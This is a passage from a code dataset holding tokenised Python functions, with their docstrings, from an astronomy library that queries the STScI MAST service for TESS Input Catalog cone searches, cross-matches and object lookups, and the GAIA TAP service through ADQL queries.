nrows)<EOL><DEDENT>break<EOL><DEDENT>else:<EOL><INDENT>LOGERROR(<EOL>'<STR_LIT>' %<EOL>inputparams<EOL>)<EOL>retdict = None<EOL>waitdone = True<EOL>break<EOL><DEDENT><DEDENT>elif respjson['<STR_LIT:status>'] == '<STR_LIT>':<EOL><INDENT>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>' % refresh)<EOL><DEDENT>waitdone = False<EOL>time.sleep(refresh)<EOL>timeelapsed = timeelapsed + refresh<EOL>retdict = None<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>' %<EOL>respjson['<STR_LIT>'])<EOL>retdict = None<EOL>waitdone = True<EOL>break<EOL><DEDENT><DEDENT>except requests.exceptions.Timeout as e:<EOL><INDENT>if verbose:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>refresh)<EOL><DEDENT>waitdone = False<EOL>time.sleep(refresh)<EOL>timeelapsed = timeelapsed + refresh<EOL>retdict = None<EOL><DEDENT>except KeyboardInterrupt as e:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT:%s>' % repr(inputparams))<EOL>return None<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>')<EOL>if raiseonfail:<EOL><INDENT>raise<EOL><DEDENT>return None<EOL><DEDENT>ntries = ntries + <NUM_LIT:1><EOL><DEDENT>if retdict is None:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>' % inputparams)<EOL>return None<EOL><DEDENT>else:<EOL><INDENT>return retdict<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(repr(inputparams)))<EOL><DEDENT>retdict = {<EOL>'<STR_LIT>':inputparams,<EOL>'<STR_LIT>':provenance,<EOL>'<STR_LIT>':cachefname<EOL>}<EOL>return retdict<EOL><DEDENT>", "docstring": "This queries the STScI MAST service for catalog data.\n\n    All results are downloaded as JSON files that are written to `cachedir`.\n\n    Parameters\n    ----------\n\n    service : str\n        This is the name of the service to use. See\n        https://mast.stsci.edu/api/v0/_services.html for a list of all available\n        services.\n\n    params : dict\n        This is a dict containing the input params to the service as described\n        on its details page linked in the `service description page on MAST\n        <https://mast.stsci.edu/api/v0/_services.html>`_.\n\n    data : dict or None\n        This contains optional data to upload to the service.\n\n    apiversion : str\n        The API version of the MAST service to use. This sets the URL that this\n        function will call, using `apiversion` as key into the `MAST_URLS` dict\n        above.\n\n    forcefetch : bool\n        If this is True, the query will be retried even if cached results for\n        it exist.\n\n    cachedir : str\n        This points to the directory where results will be downloaded.\n\n    verbose : bool\n        If True, will indicate progress and warn of any issues.\n\n    timeout : float\n        This sets the amount of time in seconds to wait for the service to\n        respond to our initial request.\n\n    refresh : float\n        This sets the amount of time in seconds to wait before checking if the\n        result file is available. If the results file isn't available after\n        `refresh` seconds have elapsed, the function will wait for `refresh`\n        seconds continuously, until `maxtimeout` is reached or the results file\n        becomes available.\n\n    maxtimeout : float\n        The maximum amount of time in seconds to wait for a result to become\n        available after submitting our query request.\n\n    maxtries : int\n        The maximum number of tries (across all mirrors tried) to make to either\n        submit the request or download the results, before giving up.\n\n    raiseonfail : bool\n        If this is True, the function will raise an Exception if something goes\n        wrong, instead of returning None.\n\n    jitter : float\n        This is used to control the scale of the random wait in seconds before\n        starting the query. Useful in parallelized situations.\n\n    Returns\n    -------\n\n    dict\n        This returns a dict of the following form::\n\n            {'params':dict of the input params used for the query,\n             'provenance':'cache' or 'new download',\n             'result':path to the file on disk with the downloaded data table}", "id": "f14750:m0"}
{"signature": "def tic_conesearch(<EOL>ra,<EOL>decl,<EOL>radius_arcmin=<NUM_LIT>,<EOL>apiversion='<STR_LIT>',<EOL>forcefetch=False,<EOL>cachedir='<STR_LIT>',<EOL>verbose=True,<EOL>timeout=<NUM_LIT>,<EOL>refresh=<NUM_LIT>,<EOL>maxtimeout=<NUM_LIT>,<EOL>maxtries=<NUM_LIT:3>,<EOL>jitter=<NUM_LIT>,<EOL>raiseonfail=False<EOL>):", "body": "params = {'<STR_LIT>':ra,<EOL>'<STR_LIT>':decl,<EOL>'<STR_LIT>':radius_arcmin/<NUM_LIT>}<EOL>service = '<STR_LIT>'<EOL>return mast_query(service,<EOL>params,<EOL>jitter=jitter,<EOL>apiversion=apiversion,<EOL>forcefetch=forcefetch,<EOL>cachedir=cachedir,<EOL>verbose=verbose,<EOL>timeout=timeout,<EOL>refresh=refresh,<EOL>maxtimeout=maxtimeout,<EOL>maxtries=maxtries,<EOL>raiseonfail=raiseonfail)<EOL>", "docstring": "This runs a TESS Input Catalog cone search on MAST.\n\n    If you use this, please cite the TIC paper (Stassun et al 2018;\n    http://adsabs.harvard.edu/abs/2018AJ....156..102S). Also see the \"living\"\n    TESS input catalog docs:\n\n    https://docs.google.com/document/d/1zdiKMs4Ld4cXZ2DW4lMX-fuxAF6hPHTjqjIwGqnfjqI\n\n    Also see: https://mast.stsci.edu/api/v0/_t_i_cfields.html for the fields\n    returned by the service and present in the result JSON file.\n\n    Parameters\n    ----------\n\n    ra,decl : float\n        The center coordinates of the cone-search in decimal degrees.\n\n    radius_arcmin : float\n        The cone-search radius in arcminutes.\n\n    apiversion : str\n        The API version of the MAST service to use. This sets the URL that this\n        function will call, using `apiversion` as key into the `MAST_URLS` dict\n        above.\n\n    forcefetch : bool\n        If this is True, the query will be retried even if cached results for\n        it exist.\n\n    cachedir : str\n        This points to the directory where results will be downloaded.\n\n    verbose : bool\n        If True, will indicate progress and warn of any issues.\n\n    timeout : float\n        This sets the amount of time in seconds to wait for the service to\n        respond to our initial request.\n\n    refresh : float\n        This sets the amount of time in seconds to wait before checking if the\n        result file is available. If the results file isn't available after\n        `refresh` seconds have elapsed, the function will wait for `refresh`\n        seconds continuously, until `maxtimeout` is reached or the results file\n        becomes available.\n\n    maxtimeout : float\n        The maximum amount of time in seconds to wait for a result to become\n        available after submitting our query request.\n\n    maxtries : int\n        The maximum number of tries (across all mirrors tried) to make to either\n        submit the request or download the results, before giving up.\n\n    jitter : float\n        This is used to control the scale of the random wait in seconds before\n        starting the query. Useful in parallelized situations.\n\n    raiseonfail : bool\n        If this is True, the function will raise an Exception if something goes\n        wrong, instead of returning None.\n\n    Returns\n    -------\n\n    dict\n        This returns a dict of the following form::\n\n            {'params':dict of the input params used for the query,\n             'provenance':'cache' or 'new download',\n             'result':path to the file on disk with the downloaded data table}", "id": "f14750:m1"}
{"signature": "def tic_xmatch(<EOL>ra,<EOL>decl,<EOL>radius_arcsec=<NUM_LIT>,<EOL>apiversion='<STR_LIT>',<EOL>forcefetch=False,<EOL>cachedir='<STR_LIT>',<EOL>verbose=True,<EOL>timeout=<NUM_LIT>,<EOL>refresh=<NUM_LIT>,<EOL>maxtimeout=<NUM_LIT>,<EOL>maxtries=<NUM_LIT:3>,<EOL>jitter=<NUM_LIT>,<EOL>raiseonfail=False<EOL>):", "body": "service = '<STR_LIT>'<EOL>xmatch_input = {'<STR_LIT>':[{'<STR_LIT:name>':'<STR_LIT>','<STR_LIT:type>':'<STR_LIT:float>'},<EOL>{'<STR_LIT:name>':'<STR_LIT>','<STR_LIT:type>':'<STR_LIT:float>'}]}<EOL>xmatch_input['<STR_LIT:data>'] = [{'<STR_LIT>':x, '<STR_LIT>':y} for (x,y) in zip(ra, decl)]<EOL>params = {'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':radius_arcsec/<NUM_LIT>}<EOL>return mast_query(service,<EOL>params,<EOL>data=xmatch_input,<EOL>jitter=jitter,<EOL>apiversion=apiversion,<EOL>forcefetch=forcefetch,<EOL>cachedir=cachedir,<EOL>verbose=verbose,<EOL>timeout=timeout,<EOL>refresh=refresh,<EOL>maxtimeout=maxtimeout,<EOL>maxtries=maxtries,<EOL>raiseonfail=raiseonfail)<EOL>", "docstring": "This does a cross-match with TIC.\n\n    Parameters\n    ----------\n\n    ra,decl : np.arrays or lists of floats\n        The coordinates that will be cross-matched against the TIC.\n\n    radius_arcsec : float\n        The cross-match radius in arcseconds.\n\n    apiversion : str\n        The API version of the MAST service to use. This sets the URL that this\n        function will call, using `apiversion` as key into the `MAST_URLS` dict\n        above.\n\n    forcefetch : bool\n        If this is True, the query will be retried even if cached results for\n        it exist.\n\n    cachedir : str\n        This points to the directory where results will be downloaded.\n\n    verbose : bool\n        If True, will indicate progress and warn of any issues.\n\n    timeout : float\n        This sets the amount of time in seconds to wait for the service to\n        respond to our initial request.\n\n    refresh : float\n        This sets the amount of time in seconds to wait before checking if the\n        result file is available. If the results file isn't available after\n        `refresh` seconds have elapsed, the function will wait for `refresh`\n        seconds continuously, until `maxtimeout` is reached or the results file\n        becomes available.\n\n    maxtimeout : float\n        The maximum amount of time in seconds to wait for a result to become\n        available after submitting our query request.\n\n    maxtries : int\n        The maximum number of tries (across all mirrors tried) to make to either\n        submit the request or download the results, before giving up.\n\n    jitter : float\n        This is used to control the scale of the random wait in seconds before\n        starting the query. Useful in parallelized situations.\n\n    raiseonfail : bool\n        If this is True, the function will raise an Exception if something goes\n        wrong, instead of returning None.\n\n    Returns\n    -------\n\n    dict\n        This returns a dict of the following form::\n\n            {'params':dict of the input params used for the query,\n             'provenance':'cache' or 'new download',\n             'result':path to the file on disk with the downloaded data table}", "id": "f14750:m2"}
{"signature": "def tic_objectsearch(<EOL>objectid,<EOL>idcol_to_use=\"<STR_LIT>\",<EOL>apiversion='<STR_LIT>',<EOL>forcefetch=False,<EOL>cachedir='<STR_LIT>',<EOL>verbose=True,<EOL>timeout=<NUM_LIT>,<EOL>refresh=<NUM_LIT>,<EOL>maxtimeout=<NUM_LIT>,<EOL>maxtries=<NUM_LIT:3>,<EOL>jitter=<NUM_LIT>,<EOL>raiseonfail=False<EOL>):", "body": "params = {<EOL>'<STR_LIT>':'<STR_LIT:*>',<EOL>'<STR_LIT>':[<EOL>{\"<STR_LIT>\": idcol_to_use,<EOL>\"<STR_LIT>\":[str(objectid)]}<EOL>]<EOL>}<EOL>service = '<STR_LIT>'<EOL>return mast_query(service,<EOL>params,<EOL>jitter=jitter,<EOL>apiversion=apiversion,<EOL>forcefetch=forcefetch,<EOL>cachedir=cachedir,<EOL>verbose=verbose,<EOL>timeout=timeout,<EOL>refresh=refresh,<EOL>maxtimeout=maxtimeout,<EOL>maxtries=maxtries,<EOL>raiseonfail=raiseonfail)<EOL>", "docstring": "This runs a TIC search for a specified TIC ID.\n\nParameters\n----------\n\nobjectid : str\n    The object ID to look up information for.\n\nidcol_to_use : str\n    This is the name of the object ID column to use when looking up the\n    provided `objectid`. This is one of {'ID', 'HIP', 'TYC', 'UCAC',\n    'TWOMASS', 'ALLWISE', 'SDSS', 'GAIA', 'APASS', 'KIC'}.\n\napiversion : str\n    The API version of the MAST service to use. This sets the URL that this\n    function will call, using `apiversion` as key into the `MAST_URLS` dict\n    above.\n\nforcefetch : bool\n    If this is True, the query will be retried even if cached results for\n    it exist.\n\ncachedir : str\n    This points to the directory where results will be downloaded.\n\nverbose : bool\n    If True, will indicate progress and warn of any issues.\n\ntimeout : float\n    This sets the amount of time in seconds to wait for the service to\n    respond to our initial request.\n\nrefresh : float\n    This sets the amount of time in seconds to wait before checking if the\n    result file is available. If the results file isn't available after\n    `refresh` seconds have elapsed, the function will wait for `refresh`\n    seconds continuously, until `maxtimeout` is reached or the results file\n    becomes available.\n\nmaxtimeout : float\n    The maximum amount of time in seconds to wait for a result to become\n    available after submitting our query request.\n\nmaxtries : int\n    The maximum number of tries (across all mirrors tried) to make to either\n    submit the request or download the results, before giving up.\n\njitter : float\n    This is used to control the scale of the random wait in seconds before\n    starting the query. Useful in parallelized situations.\n\nraiseonfail : bool\n    If this is True, the function will raise an Exception if something goes\n    wrong, instead of returning None.\n\nReturns\n-------\n\ndict\n    This returns a dict of the following form::\n\n        {'params':dict of the input params used for the query,\n         'provenance':'cache' or 'new download',\n         'result':path to the file on disk with the downloaded data table}", "id": "f14750:m3"}
{"signature": "def tap_query(querystr,<EOL>gaia_mirror=None,<EOL>returnformat='<STR_LIT>',<EOL>forcefetch=False,<EOL>cachedir='<STR_LIT>',<EOL>verbose=True,<EOL>timeout=<NUM_LIT>,<EOL>refresh=<NUM_LIT>,<EOL>maxtimeout=<NUM_LIT>,<EOL>maxtries=<NUM_LIT:3>,<EOL>complete_query_later=False):", "body": "<EOL>inputparams = TAP_PARAMS.copy()<EOL>inputparams['<STR_LIT>'] = querystr[::]<EOL>if returnformat in RETURN_FORMATS:<EOL><INDENT>inputparams['<STR_LIT>'] = returnformat<EOL><DEDENT>else:<EOL><INDENT>LOGWARNING('<STR_LIT>' %<EOL>returnformat)<EOL>inputparams['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>if '<STR_LIT>' in cachedir:<EOL><INDENT>cachedir = os.path.expanduser(cachedir)<EOL><DEDENT>if not os.path.exists(cachedir):<EOL><INDENT>os.makedirs(cachedir)<EOL><DEDENT>xcachekey = '<STR_LIT:->'.join([repr(inputparams[x])<EOL>for x in sorted(inputparams.keys())])<EOL>cachekey = hashlib.sha256(xcachekey.encode()).hexdigest()<EOL>cachefname = os.path.join(<EOL>cachedir,<EOL>'<STR_LIT>' % (cachekey, RETURN_FORMATS[returnformat])<EOL>)<EOL>provenance = '<STR_LIT>'<EOL>incomplete_qpklf = os.path.join(<EOL>cachedir,<EOL>'<STR_LIT>' % cachekey<EOL>)<EOL>if (not forcefetch and<EOL>complete_query_later and<EOL>os.path.exists(incomplete_qpklf)):<EOL><INDENT>with open(incomplete_qpklf, '<STR_LIT:rb>') as infd:<EOL><INDENT>incomplete_qinfo = pickle.load(infd)<EOL><DEDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>waitdone = False<EOL>timeelapsed = <NUM_LIT:0.0><EOL>gaia_mirror = incomplete_qinfo['<STR_LIT>']<EOL>status_url = incomplete_qinfo['<STR_LIT>']<EOL>phasekeyword = incomplete_qinfo['<STR_LIT>']<EOL>resultkeyword = incomplete_qinfo['<STR_LIT>']<EOL>while not waitdone:<EOL><INDENT>if timeelapsed > maxtimeout:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(maxtimeout,<EOL>repr(inputparams),<EOL>status_url))<EOL>return None<EOL><DEDENT>try:<EOL><INDENT>resreq = requests.get(status_url,<EOL>timeout=timeout)<EOL>resreq.raise_for_status()<EOL>resxml = parseString(resreq.text)<EOL>jobstatuselem = (<EOL>resxml.getElementsByTagName(phasekeyword)[<NUM_LIT:0>]<EOL>)<EOL>jobstatus = jobstatuselem.firstChild.toxml()<EOL>if jobstatus == '<STR_LIT>':<EOL><INDENT>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>waitdone = True<EOL><DEDENT>elif jobstatus != '<STR_LIT>':<EOL><INDENT>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% (timeelapsed, jobstatus, status_url))<EOL><DEDENT>time.sleep(refresh)<EOL>timeelapsed = timeelapsed + refresh<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(status_url,<EOL>resreq.text))<EOL>os.remove(incomplete_qpklf)<EOL>return None<EOL><DEDENT><DEDENT>except requests.exceptions.Timeout as e:<EOL><INDENT>LOGEXCEPTION(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(repr(inputparams), status_url)<EOL>)<EOL>return None<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(repr(inputparams),<EOL>status_url,<EOL>resreq.text)<EOL>)<EOL>os.remove(incomplete_qpklf)<EOL>return None<EOL><DEDENT><DEDENT>LOGINFO('<STR_LIT>')<EOL>result_url_elem = resxml.getElementsByTagName(resultkeyword)[<NUM_LIT:0>]<EOL>result_url = result_url_elem.getAttribute('<STR_LIT>')<EOL>result_nrows = result_url_elem.getAttribute('<STR_LIT>')<EOL>try:<EOL><INDENT>resreq = requests.get(result_url, timeout=timeout)<EOL>resreq.raise_for_status()<EOL>if cachefname.endswith('<STR_LIT>'):<EOL><INDENT>with gzip.open(cachefname,'<STR_LIT:wb>') as outfd:<EOL><INDENT>for chunk in resreq.iter_content(chunk_size=<NUM_LIT>):<EOL><INDENT>outfd.write(chunk)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>with open(cachefname,'<STR_LIT:wb>') as outfd:<EOL><INDENT>for chunk in resreq.iter_content(chunk_size=<NUM_LIT>):<EOL><INDENT>outfd.write(chunk)<EOL><DEDENT><DEDENT><DEDENT>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>' % result_nrows)<EOL><DEDENT>tablefname = cachefname<EOL>provenance = '<STR_LIT>'<EOL>resdict = {'<STR_LIT>':inputparams,<EOL>'<STR_LIT>':provenance,<EOL>'<STR_LIT:result>':tablefname}<EOL>os.remove(incomplete_qpklf)<EOL>return resdict<EOL><DEDENT>except requests.exceptions.Timeout as e:<EOL><INDENT>LOGEXCEPTION(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(repr(inputparams), result_url)<EOL>)<EOL>return None<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(repr(inputparams),<EOL>result_url,<EOL>resreq.status_code)<EOL>)<EOL>os.remove(incomplete_qpklf)<EOL>return None<EOL><DEDENT><DEDENT>if forcefetch or (not os.path.exists(cachefname)):<EOL><INDENT>provenance = '<STR_LIT>'<EOL>jobid = '<STR_LIT>' % time.time()<EOL>inputparams['<STR_LIT>'] = jobid<EOL>inputparams['<STR_LIT>'] = '<STR_LIT>'<EOL>try:<EOL><INDENT>waitdone = False<EOL>timeelapsed = <NUM_LIT:0.0><EOL>if gaia_mirror is not None and gaia_mirror in GAIA_URLS:<EOL><INDENT>tapurl = GAIA_URLS[gaia_mirror]['<STR_LIT:url>']<EOL>resultkeyword = GAIA_URLS[gaia_mirror]['<STR_LIT>']<EOL>phasekeyword = GAIA_URLS[gaia_mirror]['<STR_LIT>']<EOL>randkey = gaia_mirror<EOL>if '<STR_LIT>' in querystr:<EOL><INDENT>inputparams['<STR_LIT>'] = (<EOL>querystr.format(<EOL>table=GAIA_URLS[gaia_mirror]['<STR_LIT>']<EOL>)<EOL>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>randkey = random.choice(list(GAIA_URLS.keys()))<EOL>tapurl = GAIA_URLS[randkey]['<STR_LIT:url>']<EOL>resultkeyword = GAIA_URLS[randkey]['<STR_LIT>']<EOL>phasekeyword = GAIA_URLS[randkey]['<STR_LIT>']<EOL>if '<STR_LIT>' in querystr:<EOL><INDENT>inputparams['<STR_LIT>'] = (<EOL>querystr.format(<EOL>table=GAIA_URLS[randkey]['<STR_LIT>']<EOL>)<EOL>)<EOL><DEDENT>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>' % tapurl)<EOL><DEDENT><DEDENT>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>% repr(inputparams))<EOL><DEDENT>mirrorok = False<EOL>ntries = <NUM_LIT:1><EOL>while not mirrorok:<EOL><INDENT>if ntries > maxtries:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>maxtries)<EOL>return None<EOL><DEDENT>try:<EOL><INDENT>req = requests.post(tapurl,<EOL>data=inputparams,<EOL>timeout=timeout)<EOL>resp_status = req.status_code<EOL>req.raise_for_status()<EOL>mirrorok = True<EOL><DEDENT>except requests.exceptions.HTTPError as e:<EOL><INDENT>LOGWARNING(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% tapurl<EOL>)<EOL>mirrorok = False<EOL>remainingmirrors = list(GAIA_URLS.keys())<EOL>remainingmirrors.remove(randkey)<EOL>randkey = random.choice(remainingmirrors)<EOL>tapurl = GAIA_URLS[randkey]['<STR_LIT:url>']<EOL>resultkeyword = GAIA_URLS[randkey]['<STR_LIT>']<EOL>phasekeyword = GAIA_URLS[randkey]['<STR_LIT>']<EOL>if '<STR_LIT>' in querystr:<EOL><INDENT>inputparams['<STR_LIT>'] = (<EOL>querystr.format(<EOL>table=GAIA_URLS[randkey]['<STR_LIT>']<EOL>)<EOL>)<EOL><DEDENT><DEDENT>except requests.exceptions.Timeout as e:<EOL><INDENT>LOGWARNING(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL>mirrorok = False<EOL>remainingmirrors = list(GAIA_URLS.keys())<EOL>remainingmirrors.remove(randkey)<EOL>randkey = random.choice(remainingmirrors)<EOL>tapurl = GAIA_URLS[randkey]['<STR_LIT:url>']<EOL>resultkeyword = GAIA_URLS[randkey]['<STR_LIT>']<EOL>phasekeyword = GAIA_URLS[randkey]['<STR_LIT>']<EOL>if '<STR_LIT>' in querystr:<EOL><INDENT>inputparams['<STR_LIT>'] = (<EOL>querystr.format(<EOL>table=GAIA_URLS[randkey]['<STR_LIT>']<EOL>)<EOL>)<EOL><DEDENT><DEDENT>ntries = ntries + <NUM_LIT:1><EOL><DEDENT>status_url = req.url<EOL>resxml = parseString(req.text)<EOL>jobstatuselem = resxml.getElementsByTagName(phasekeyword)<EOL>if jobstatuselem:<EOL><INDENT>jobstatuselem = jobstatuselem[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>' % phasekeyword)<EOL>LOGERROR('<STR_LIT:%s>' % req.txt)<EOL>req.close()<EOL>return None<EOL><DEDENT>jobstatus = jobstatuselem.firstChild.toxml()<EOL>if jobstatus == '<STR_LIT>':<EOL><INDENT>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>waitdone = True<EOL><DEDENT><DEDENT>elif jobstatus == '<STR_LIT>':<EOL><INDENT>if verbose:<EOL><INDENT>LOGERROR(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(repr(inputparams),<EOL>status_url,<EOL>req.text)<EOL>)<EOL>return None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if verbose:<EOL><INDENT>LOGINFO(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % jobstatus<EOL>)<EOL><DEDENT>while not waitdone:<EOL><INDENT>if timeelapsed > maxtimeout:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(maxtimeout,<EOL>repr(inputparams),<EOL>status_url,<EOL>jobstatus))<EOL>if complete_query_later and jobstatus in ('<STR_LIT>',<EOL>'<STR_LIT>'):<EOL><INDENT>incomplete_qpklf = os.path.join(<EOL>cachedir,<EOL>'<STR_LIT>' % cachekey<EOL>)<EOL>with open(incomplete_qpklf, '<STR_LIT:wb>') as outfd:<EOL><INDENT>savedict = inputparams.copy()<EOL>savedict['<STR_LIT>'] = status_url<EOL>savedict['<STR_LIT>'] = jobstatus<EOL>savedict['<STR_LIT>'] = gaia_mirror<EOL>savedict['<STR_LIT>'] = phasekeyword<EOL>savedict['<STR_LIT>'] = resultkeyword<EOL>pickle.dump(savedict,<EOL>outfd,<EOL>pickle.HIGHEST_PROTOCOL)<EOL><DEDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>jobstatus)<EOL><DEDENT>return None<EOL><DEDENT>time.sleep(refresh)<EOL>timeelapsed = timeelapsed + refresh<EOL>try:<EOL><INDENT>resreq = requests.get(status_url, timeout=timeout)<EOL>resreq.raise_for_status()<EOL>resxml = parseString(resreq.text)<EOL>jobstatuselem = (<EOL>resxml.getElementsByTagName(phasekeyword)[<NUM_LIT:0>]<EOL>)<EOL>jobstatus = jobstatuselem.firstChild.toxml()<EOL>if jobstatus == '<STR_LIT>':<EOL><INDENT>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>waitdone = True<EOL><DEDENT>else:<EOL><INDENT>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% (timeelapsed, jobstatus, status_url))<EOL><DEDENT>continue<EOL><DEDENT><DEDENT>except requests.exceptions.Timeout as e:<EOL><INDENT>LOGEXCEPTION(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(repr(inputparams), status_url)<EOL>)<EOL>return None<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(repr(inputparams),<EOL>status_url,<EOL>resreq.text)<EOL>)<EOL>return None<EOL><DEDENT><DEDENT><DEDENT>result_url_elem = resxml.getElementsByTagName(resultkeyword)[<NUM_LIT:0>]<EOL>result_url = result_url_elem.getAttribute('<STR_LIT>')<EOL>result_nrows = result_url_elem.getAttribute('<STR_LIT>')<EOL>try:<EOL><INDENT>resreq = requests.get(result_url, timeout=timeout)<EOL>resreq.raise_for_status()<EOL>if cachefname.endswith('<STR_LIT>'):<EOL><INDENT>with gzip.open(cachefname,'<STR_LIT:wb>') as outfd:<EOL><INDENT>for chunk in resreq.iter_content(chunk_size=<NUM_LIT>):<EOL><INDENT>outfd.write(chunk)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>with open(cachefname,'<STR_LIT:wb>') as outfd:<EOL><INDENT>for chunk in resreq.iter_content(chunk_size=<NUM_LIT>):<EOL><INDENT>outfd.write(chunk)<EOL><DEDENT><DEDENT><DEDENT>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>' % result_nrows)<EOL><DEDENT>tablefname = cachefname<EOL><DEDENT>except requests.exceptions.Timeout as e:<EOL><INDENT>LOGEXCEPTION(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(repr(inputparams), result_url)<EOL>)<EOL>return None<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(repr(inputparams),<EOL>result_url,<EOL>resreq.status_code)<EOL>)<EOL>return None<EOL><DEDENT><DEDENT>except requests.exceptions.HTTPError as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>'<EOL>'<STR_LIT>' % (resp_status,<EOL>repr(inputparams)))<EOL>return None<EOL><DEDENT>except requests.exceptions.Timeout as e:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT:%s>' % repr(inputparams))<EOL>return None<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>'<EOL>'<STR_LIT:%s>' % repr(inputparams))<EOL>if '<STR_LIT>' in locals():<EOL><INDENT>LOGERROR('<STR_LIT>' % req.text)<EOL><DEDENT>return None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if verbose:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(repr(inputparams)))<EOL><DEDENT>tablefname = cachefname<EOL><DEDENT>resdict = {'<STR_LIT>':inputparams,<EOL>'<STR_LIT>':provenance,<EOL>'<STR_LIT:result>':tablefname}<EOL>return resdict<EOL>", "docstring": "This queries the GAIA TAP service using an ADQL query string.\n\n    Parameters\n    ----------\n\n    querystr : str\n        This is the ADQL query string. See:\n        http://www.ivoa.net/documents/ADQL/2.0 for the specification and\n        http://gea.esac.esa.int/archive-help/adql/index.html for GAIA-specific\n        additions.\n\n    gaia_mirror : {'gaia','heidelberg','vizier'} or None\n        This is the key used to select a GAIA catalog mirror from the\n        `GAIA_URLS` dict above. If set, the specified mirror will be used. If\n        None, a random mirror chosen from that dict will be used.\n\n    returnformat : {'csv','votable','json'}\n        The returned file format to request from the GAIA catalog service.\n\n    forcefetch : bool\n        If this is True, the query will be retried even if cached results for\n        it exist.\n\n    cachedir : str\n        This points to the directory where results will be downloaded.\n\n    verbose : bool\n        If True, will indicate progress and warn of any issues.\n\n    timeout : float\n        This sets the amount of time in seconds to wait for the service to\n        respond to our initial request.\n\n    refresh : float\n        This sets the amount of time in seconds to wait before checking if the\n        result file is available. If the results file isn't available after\n        `refresh` seconds have elapsed, the function will wait for `refresh`\n        seconds continuously, until `maxtimeout` is reached or the results file\n        becomes available.\n\n    maxtimeout : float\n        The maximum amount of time in seconds to wait for a result to become\n        available after submitting our query request.\n\n    maxtries : int\n        The maximum number of tries (across all mirrors tried) to make to either\n        submit the request or download the results, before giving up.\n\n    completequerylater : bool\n        If set to True, a submitted query that does not return a result before\n        `maxtimeout` has 